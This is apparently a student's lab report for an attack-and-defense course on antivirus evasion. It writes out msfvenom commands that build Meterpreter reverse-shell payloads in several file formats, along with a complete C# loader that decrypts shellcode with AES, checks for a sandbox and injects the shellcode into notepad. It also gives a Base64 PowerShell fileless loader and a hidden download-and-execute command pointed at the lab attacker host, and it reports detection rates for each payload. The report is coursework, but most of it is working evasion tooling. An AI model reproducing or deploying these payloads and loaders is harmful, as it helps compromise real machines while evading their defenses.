20232326 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验内容与问题回答

1.1 实验核心内容

(1)使用msfvenom及编码器生成多格式恶意文件,验证编码免杀效果;
(2)通过Veil-Evasion工具生成自定义免杀Payload;
(3)手动编写C语言加载器执行Shellcode,实现底层免杀;
(4)使用UPX和Hyperion加壳工具,分析加壳对免杀的影响;
(5)组合多层技术生成高免杀率恶意代码,验证与杀软共生效果;
(6)在开启杀软的靶机中运行免杀文件,验证反弹连接成功。

1.2 问题回答

  1. 杀软是如何检测出恶意代码的?
    特征码检测:扫描文件中是否包含已知恶意代码的特征片段,匹配则判定为恶意;
    启发式检测:基于可疑特征推断,如文件无数字签名、包含异常API调用、结构不符合正常程序规范;
    行为检测:监控程序运行时的动态操作,如连接恶意IP端口、修改系统注册表自启动项、注入其他进程,符合预设恶意行为规则则拦截。

  2. 免杀是做什么?
    对恶意代码进行修改静态特征、隐藏动态行为,使其规避杀软的扫描和监控,最终在目标系统中正常运行并完成攻击。

  3. 免杀的基本方法有哪些?
    静态免杀:通过编码混淆破坏特征码、加壳、手动重写代码;
    动态免杀:通过内存加载Shellcode、延迟执行、伪装正常网络行为;
    组合方法:叠加多层技术同时破坏静态特征和动态行为标记。

二、实验详细步骤

2.1 MSF编码器与多格式文件生成

2.1.1 生成编码的exe文件

原理:通过shikata_ga_nai编码器多次混淆Shellcode,破坏杀软特征码识别。
命令
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 10
-b '\x00'
LHOST=192.168.124.130
LPORT=2326
-f exe
-o msf_encoded_zsm_20232326.exe

  • -p:指定Payload类型,此处为windows/meterpreter/reverse_tcp(Windows系统反向连接的Meterpreter载荷);
  • -e:指定编码器,x86/shikata_ga_nai是免杀效果较好的编码器,支持多轮编码;
  • -i:设置编码迭代次数为10次;
  • -b '\x00':剔除字符\x00,因\x00在C语言中是字符串结束符,会导致Shellcode执行时被截断;

成功生成了经过多次加密的反向连接载荷,输出的两行No信息意思是因未指定编码器,自动选择与载荷兼容的编码器及因未指定架构,自动选择载荷对应的x86架构。

image

使用virustotal网站进行评估,评估结果如下:
image

42/71,检测比例还是挺高的,免杀效果一般。

2.1.2 生成jar文件

原理:Java字节码特征模糊性较高,杀软检测难度大于exe文件。
命令
msfvenom -p java/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 5
LHOST=192.168.124.130
LPORT=2327
-f jar
-o msf_jar_zsm_20232326.jar

image

评估结果如下:
image

36/63,免杀效果一般但是相较于上一个exe文件有所进步。

2.1.3生成编码的.php文件

命令
msfvenom -p php/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
LHOST=192.168.124.130
LPORT=2328
-f raw
-o msf_php_zsm_20232326.php

  • -f raw:PHP文件无需特定格式标识,直接输出原始代码;

image
检测结果如下:
image
3/48,效果明显优于前两个文件!

2.1.4生成编码的.py文件(端口2329)

命令
msfvenom -p python/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 6
LHOST=192.168.124.130
LPORT=2329
-f raw
-o msf_py_zsm_20232326.py

image

咦,居然免杀了吗(后面才反应过来,这里不是免杀了,是文件没有传过来,检验空文件当然免杀了)
image

不对,python文件没有打包,重来
使用命令pyinstaller --onefile msf_py_zsm_20232326.py打包一下,这里需要安装pyinstaller
image
打包
image
咦,.spec文件?
似乎是缺少编码声明的问题,尝试查看.py文件并添加编码声明,但是发现原文件打包时已经被破坏,使用msf重新生成
image
image
查看文件,虽然命名为.py,但本质是一个COM格式的可执行文件,并且VirSCAN 支持检测 COM 格式的可执行文件
image
把新生成的文件放在VirSCAN里再次检测
image
怎么又4/48了,再放到virustotal里看看
image
10/62,看来要两个测试软件结合起来看,综合来看Python环境的反向连接Payload免杀效果还是比较好的。

2.1.5生成编码的.dll文件

命令
msfvenom -p windows/meterpreter/reverse_tcp
-e x86/shikata_ga_nai
-i 8
-b '\x00\x0a\x0d'
LHOST=192.168.124.130
LPORT=2330
-f dll
-o msf_dll_zsm_20232326.dll

  • -b '\x00\x0a\x0d':剔除DLL中可能导致解析错误的坏字符(空字符、换行符、回车符);
  • -f dll:输出格式为Windows动态链接库(DLL),需通过rundll32.exe调用执行;

image
VirScan检测:17/48
image

VirusTotal检测:56/71
image
看来ddl文件免杀效果不是很好。

2.2 Veil-Evasion免杀工具使用

2.2.1 安装与启动Veil

命令
sudo apt update
sudo apt install veil -y
sudo /usr/share/veil/config/setup.sh --force --silent
image
使用veil命令启动:
image
等待片刻后,启动成功。
image

2.2.2 生成C语言免杀Payload

步骤

  1. 输入use evasion即在Veil主界面中选择躲避检测模块,用于生成免杀Payload。
    image
  2. use c/meterpreter/rev_tcp.py选择C语言反向连接模板,该模板无固定Shellcode特征,免杀效果较好。
    image
  3. 配置连接参数:
    set LHOST 192.168.124.130
    set LPORT 2331
  4. 输入generate开始生成Payload
    输入文件名:veil_c_zsm_20232326
    然后需要根据提示按一次回车键
    image
    VirScan检测:10/48
    image
    看来C语言实现的反向连接模板免杀效果确实比较好。

2.3 C+Shellcode编程免杀

2.3.1 生成C格式Shellcode

命令
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.124.130
LPORT=2332
-f c
-o shellcode_zsm_20232326.c

image
查看文件:
image

2.3.2 编写并编译加载器

  1. 创建.c文件
    nano loader_zsm_20232326.c
    image
    代码通过Windows API函数VirtualAlloc分配具有可执行权限的内存,使用memcpy将预定义的恶意Shellcode复制到该内存区域,最后并通过函数指针强制转换执行内存中的Shellcode,以规避磁盘文件静态扫描,达到免杀目的。
  2. 编译命令:
    i686-w64-mingw32-g++ loader_zsm_20232326.c -o loader_zsm_20232326.exe
    image
    VirScan检测:7/48
    image
    VirusTotal检测:42/71
    image

AI给出了更高级的编译命令
i686-w64-mingw32-g++ loader_zsm_20232326.c
-o loader_zsm_20232326_2.exe
-s
-O2
-ffunction-sections -fdata-sections -Wl,--gc-sections

  • -s:移除可执行文件中的符号表,减小文件体积并隐藏编译信息;
  • -O2:启用二级优化,自动去除冗余代码和无效指令;
  • -ffunction-sections -fdata-sections -Wl,--gc-sections:将代码和数据分为独立段,链接时自动删除未使用的段,进一步精简文件。
    试一下,生成的文件如下;
    image

再次检测,VirScan检测:9/48
image
VirusTotal检测:30/70
image
结果不相上下,只在VirusTotal的检测里免杀效果表现好一些。

2.4 加壳工具应用

2.4.1 加壳工具

  • 加壳工具是一类对可执行文件进行压缩、加密或代码混淆处理的工具,核心作用是隐藏文件原始二进制特征,降低被杀毒软件等安全工具检测的概率,同时可减小文件体积、保护代码不被逆向分析。分为压缩壳和加密壳两种。

2.4.2 UPX压缩壳

命令
upx loader_zsm_20232326.exe
-o loader_upx_zsm_20232326.exe
image
再次检测,VirScan检测:9/48,免杀效果不错。
image

2.4.3 Hyperion加密壳

原理:通过AES加密原始代码,仅保留解密Stub,避免杀软直接解析代码内容。
命令
cp loader_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
image

  • cp:将待加密文件复制到Hyperion的工作目录,必须在此目录执行,否则报错;
  • cd:切换到Hyperion工作目录/usr/share/windows-resources/hyperion/;

wine hyperion.exe -v loader_upx_zsm_20232326.exe loader_hyp_zsm_20232326.exe

  • wine:在Linux中运行Windows程序的兼容层,用于执行Hyperion;
  • v:显示详细加密过程,便于排查错误;
    image
    VirScan检测:20/48
    image
    VirusTotal检测:51/71
    image
    看来加密壳免杀效果不如压缩壳。

2.5 组合技术实现免杀

2.5.1组合方案1:采用“10次编码Shellcode→手动编写C加载器→编译优化→UPX压缩→Hyperion加密”五层处理

  • 步骤1:生成10次编码的Shellcode
    msfvenom -p windows/meterpreter/reverse_tcp
    -e x86/shikata_ga_nai -i 10 -b '\x00'
    LHOST=192.168.124.130 LPORT=2333
    -f c -o final_shell_zsm_20232326.c
    image

  • 步骤2:编写加载器final_loader_zsm_20232326.c
    image

  • 步骤3:优化编译
    i686-w64-mingw32-g++ final_loader_zsm_20232326.c
    -o final_loader_zsm_20232326.exe
    -s -O2 -ffunction-sections -fdata-sections -Wl,--gc-sections

  • 步骤4:UPX压缩
    upx final_loader_zsm_20232326.exe -o final_upx_zsm_20232326.exe
    image

  • 步骤5:Hyperion加密
    命令:
    cp final_upx_zsm_20232326.exe /usr/share/windows-resources/hyperion/
    cd /usr/share/windows-resources/hyperion/
    wine hyperion.exe -v final_upx_zsm_20232326.exe final_evade_zsm_20232326.exe
    image

  • 与杀软共生验证
    将final_evade_zsm_20232326.exe复制到Windows10虚拟机,虚拟机上已经安装了360和火绒。
    image
    将final_evade_zsm_20232326.exe复制到Windows10虚拟机时火绒就会拦截并删除文件,重新尝试免杀
    image

2.5.2 组合方案2:“无文件攻击链+内存级操作+行为深度伪装+反沙箱机制”

阶段1:生成高强度加密Shellcode:采用“多编码器混合+自定义AES加密”,彻底破坏静态特征

  • 1:MSF多编码器混淆
    msfvenom -p windows/meterpreter/reverse_https
    -e x86/shikata_ga_nai -i 8
    -e x86/rot13 -i 4
    -e x86/call4_dword_xor -i 6
    -b '\x00\x0a\x0d\xff'
    LHOST=192.168.124.130
    LPORT=443
    -f raw -o raw_shellcode.bin

命令通过msfvenom生成一个适用于Windows系统的反向HTTPS Meterpreter Shellcode,它会经shikata_ga_nai(8次)、rot13(4次)、call4_dword_xor(6次)三重编码处理以增强免杀性,同时避开\x00\x0a\x0d\xff等坏字符,最终生成原始二进制格式的文件raw_shellcode.bin,该文件执行后会通过443端口反向连接192.168.124.130

image
生成 Shellcode 时出现错误,属于编码器兼容性异常
使用命令apt update; apt install metasploit-framework命令来更新 Metasploit 框架

image
还是生成失败

替换为alpha_mixed编码器
msfvenom -p windows/meterpreter/reverse_https
-e x86/shikata_ga_nai -i 8
-e x86/alpha_mixed -x 0xff
-b '\x00\x0a\x0d\xff'
LHOST=192.168.124.130
LPORT=443
-f raw -o raw_shellcode.bin

alpha_mixed编码器生成可打印字符形式的 Shellcode,免杀效果较好且兼容性稳定。
image

  • 2:准备Python加密环境
    安装所需依赖的Crypto库:
    sudo apt install python3-pip -y
    pip3 install pycryptodome
    image
    在 Kali Linux 中执行pip3 install pycryptodome时出现错误,核心原因是当前 Python 环境为 “外部管理环境”,系统禁止直接使用pip安装包以避免破坏系统依赖。
    通过创建 Python 虚拟环境的方式隔离安装,避免影响系统依赖
    命令:
    python3 -m venv ~/venv_evasion
    source ~/venv_evasion/bin/activate
    激活后,命令行前缀会出现(venv_evasion),表示已进入隔离环境。
    在虚拟环境中安装pycryptodome
    pip install pycryptodome

  • 3:创建并执行AES加密脚本
    (1)新建aes_encrypt.py:

    nano aes_encrypt.py

(2)粘贴以下代码(密钥固定为20232326zsm12345,与后续步骤对应):

from Crypto.Cipher import AES
import os

# 16字节密钥
key = b'20232326zsm12345'
# 生成16字节随机IV(初始化向量)
iv = os.urandom(16)
# 读取原始Shellcode
shellcode = open('raw_shellcode.bin', 'rb').read()

# 填充Shellcode至AES块大小(16字节倍数)
pad = lambda x: x + (AES.block_size - len(x) % AES.block_size) * b'\x00'
# 使用CBC模式加密
cipher = AES.new(key, AES.MODE_CBC, iv)
# 加密后的数据 = IV(前16字节) + 加密后的Shellcode
encrypted = iv + cipher.encrypt(pad(shellcode))

# 保存加密结果
open('encrypted_shellcode.bin', 'wb').write(encrypted)

image

(3)保存退出(Ctrl+O→回车→Ctrl+X),执行加密:
python3 aes_encrypt.py
image

阶段2:编写C#内存加载器

  • 1:创建C#
    (1)新建EvadeLoader.cs:
    nano EvadeLoader.cs

(2)粘贴代码

   using System;
   using System.Diagnostics;
   using System.Runtime.InteropServices;
   using System.Security.Cryptography;

   class EvadeLoader {
       // AES解密(对应加密逻辑)
       static byte[] Decrypt(byte[] data, byte[] key) {
           byte[] iv = new byte[16];
           Array.Copy(data, 0, iv, 0, 16); // 提取前16字节IV
           byte[] ciphertext = new byte[data.Length - 16];
           Array.Copy(data, 16, ciphertext, 0, ciphertext.Length);

           using (AES aes = AES.Create()) {
               aes.Key = key;
               aes.IV = iv;
               aes.Mode = CipherMode.CBC;
               using (ICryptoTransform decryptor = aes.CreateDecryptor()) {
                   return decryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length);
               }
           }
       }

       // 反沙箱检测(CPU核心数+系统启动时间)
       static bool IsSandbox() {
           if (Environment.ProcessorCount < 2) return true; // 沙箱多为单核心
           // 系统启动时间小于5分钟则可疑(TickCount单位为毫秒)
           if (TimeSpan.FromMilliseconds(Environment.TickCount) < TimeSpan.FromMinutes(5)) return true;
           return false;
       }

       // 获取进程ID(根据进程名,如notepad.exe)
       static int GetProcessIdByName(string processName) {
           Process[] processes = Process.GetProcessesByName(processName);
           if (processes.Length == 0) {
               // 若notepad未运行,自动启动一个
               Process.Start("notepad.exe");
               System.Threading.Thread.Sleep(1000); // 等待启动
               processes = Process.GetProcessesByName(processName);
           }
           return processes[0].Id;
       }

       static void Main() {
           // 反沙箱:检测到则退出
           if (IsSandbox()) return;

           // 延迟10秒(规避实时监控)
           System.Threading.Thread.Sleep(10000);

           // 加密的Shellcode(从encrypted_shellcode.bin转换为字节数组)
           byte[] encrypted = new byte[] { 
               // 替换为实际内容:执行下方命令获取数组并粘贴此处
               // xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'
           };
           // 解密密钥(与加密时一致)
           byte[] key = System.Text.Encoding.ASCII.GetBytes("20232326zsm12345");
           // 解密得到原始Shellcode
           byte[] shellcode = Decrypt(encrypted, key);

           // 注入notepad进程
           IntPtr hProcess = OpenProcess(0x1F0FFF, false, GetProcessIdByName("notepad"));
           IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
           WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out _);
           CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out _);
       }

       // Windows API声明(进程注入所需)
       [DllImport("kernel32.dll")]
       static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

       [DllImport("kernel32.dll")]
       static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

       [DllImport("kernel32.dll")]
       static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

       [DllImport("kernel32.dll")]
       static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
   }

image

(3)生成encrypted数组并替换:
执行以下命令将encrypted_shellcode.bin转换为C#字节数组:
xxd -i encrypted_shellcode.bin | sed 's/encrypted_shellcode_bin/encrypted/g'
image

将输出结果中的数组部分,替换到代码中byte[] encrypted = new byte[] { ... };的括号内。

这里输出内容比较长,执行以下命令,将转换后的命令的输出内容保存到 shellcode_c_array.h 文件:

image

image
用图形化编辑器
gedit shellcode_c_array.h
打开后,复制。
再打开EvadeLoader.cs文件,将数组部分内容替换
image
image
(数组太长了,给出部分截图)

阶段3:编译与混淆C#加载器

  • 1:安装.NET编译工具
    sudo apt install mono-devel -y
  • 2:编译加载器为EXE
    mcs /target:exe /platform:x86 /reference:System.Security.dll EvadeLoader.cs /out:EvadeLoader.exe /optimize+

生成EvadeLoader.exe。

这里遇到了问题:找不到类型或命名空间名称 AES,排查后发现原因是C#语言对大小写敏感,错把代码中的类名Aes写为AES导致的报错,修改后成功编译。
image

image

阶段3:生成PowerShell无文件加载脚本

  • 1.将生成的EXE转换为Base64:
    base64 -w 0 EvadeLoader.exe > loader_base64.txt

  • 2.创建Invoke-Evade.ps1:
    nano Invoke-Evade.ps1
    image

  1. 粘贴以下内容,并替换Base64字符串(从loader_base64.txt复制):
    $bytes = [Convert]::FromBase64String("此处粘贴loader_base64.txt的内容")
    $assembly = [System.Reflection.Assembly]::Load($bytes)
    $assembly.EntryPoint.Invoke($null, @($null))
    

image

阶段4:攻击机配置(HTTPS监听)

  • 1:生成自签名SSL证书
    使用下面的命令生成私钥和证书请求
    openssl req -new -newkey rsa:2048 -nodes -keyout evil.key -out evil.csr
    image

生成自签名证书
openssl x509 -req -days 365 -in evil.csr -signkey evil.key -out evil.crt
image

  • 2:启动MSF监听
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_https
    set LHOST 192.168.124.130
    set LPORT 443
    set HandlerSSLCert /home/kali/evil.crt
    set StagerVerifySSLCert true
    exploit
    image

阶段6:靶机执行(无文件攻击)

    1. 在攻击机启动HTTP服务,让靶机可访问Invoke-Evade.
      python3 -m http.server 80
    1. 在Win10的PowerShell中执行:
      -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.124.130/Invoke-Evade.ps1')"

通过http服务访问,失败了:
image
image
尝试复制ps1文件到Win10上,依然被拦截。
image

一套操作下来还是免杀失败了,现在杀毒软件做的真全面T_T。

三、问题与解决方案

  • 问题1:生成高强度加密Shellcode时,使用“shikata_ga_nai(8次)+rot13(4次)+call4_dword_xor(6次)”多编码器混合生成,出现编码器兼容性异常错误,生成失败

  • 问题1解决方案:选用兼容性更稳定的编码器,保留shikata_ga_nai(8次),搭配x86/alpha_mixed编码器,同时通过-b '\x00\x0a\x0d\xff'剔除坏字符,重新生成Shellcode

  • 问题2:在Kali Linux中执行pip3 install pycryptodome安装Crypto库时,因当前Python环境为“外部管理环境”,系统禁止直接使用pip安装包,导致安装失败

  • 问题2解决方案:通过创建Python虚拟环境隔离安装,避免影响系统依赖。执行python3 -m venv ~/venv_evasion创建虚拟环境,再用source ~/venv_evasion/bin/activate激活虚拟环境,最后在虚拟环境中执行pip install pycryptodome,成功安装所需库

  • 问题3:编写C#加载器后,使用mcs编译时,报错“找不到类型或命名空间名称 AES”,编译失败

  • 问题3解决方案:排查发现C#语言对大小写敏感,代码中错误地将类名Aes写为AES,导致编译器无法识别。将代码中所有“AES”修正为“Aes”,重新执行编译命令后成功生成.exe文件

四、实验总结

这次免杀技术实验,不仅让我实打实掌握了恶意代码免杀的核心技术,在排查问题和建立攻防思维上,也有了特别大的提升。实验前我对免杀只了解了皮毛,真上手操作才发现,不同文件格式的免杀难度差太多了。比如PHP文件在VirScan里的检出率才3/48,DLL文件却飙到56/71,这主要是因为不同格式的解析逻辑不一样,杀软监控的重点也不同。而且单一技术根本不够用,像MSF默认编码的Payload,检出率超50%,但把“编码+加载器+编译优化”组合起来用,检出率就能降很多,这也让我真正搞懂了,免杀的核心就是“多层破坏特征”。

更关键的是,这次实验让我明白,攻防对抗本来就是动态平衡的。实验后期我试无文件攻击,就算把PowerShell脚本做了Base64编码和字符串混淆,还是被360和火绒拦下来了。这说明现在的杀软早不只是靠静态特征检测了,已经转向动态行为监控,对无文件攻击的识别能力强了不少。所以免杀技术根本不是一劳永逸的,需要跟着杀软的检测规则随时调整策略。另外,从攻击者的角度出发,也反过来提升了我的防御意识。比如我手动写加载器,把恶意代码注入记事本进程实现免杀时才意识到,平时不用未知文件只是基础防护,就算是看起来正常的进程,也可能被注入恶意代码。这让我明白,做安全防御需要站在攻击者的角度,琢磨他们可能的入侵路径。

可惜实验最终没能完全绕过现在的杀软。一方面是杀软版本新、监控规则严,另一方面是我对免杀技术掌握得还不够,需要日后接着深入学习。这次实验不只是一次技术实操,更像是一次攻防思维的训练。让我在学会技术的同时,也对网络安全多了份敬畏心。

posted @ 2025-10-27 22:56  20232326朱思敏  阅读(12)  评论(0)    收藏  举报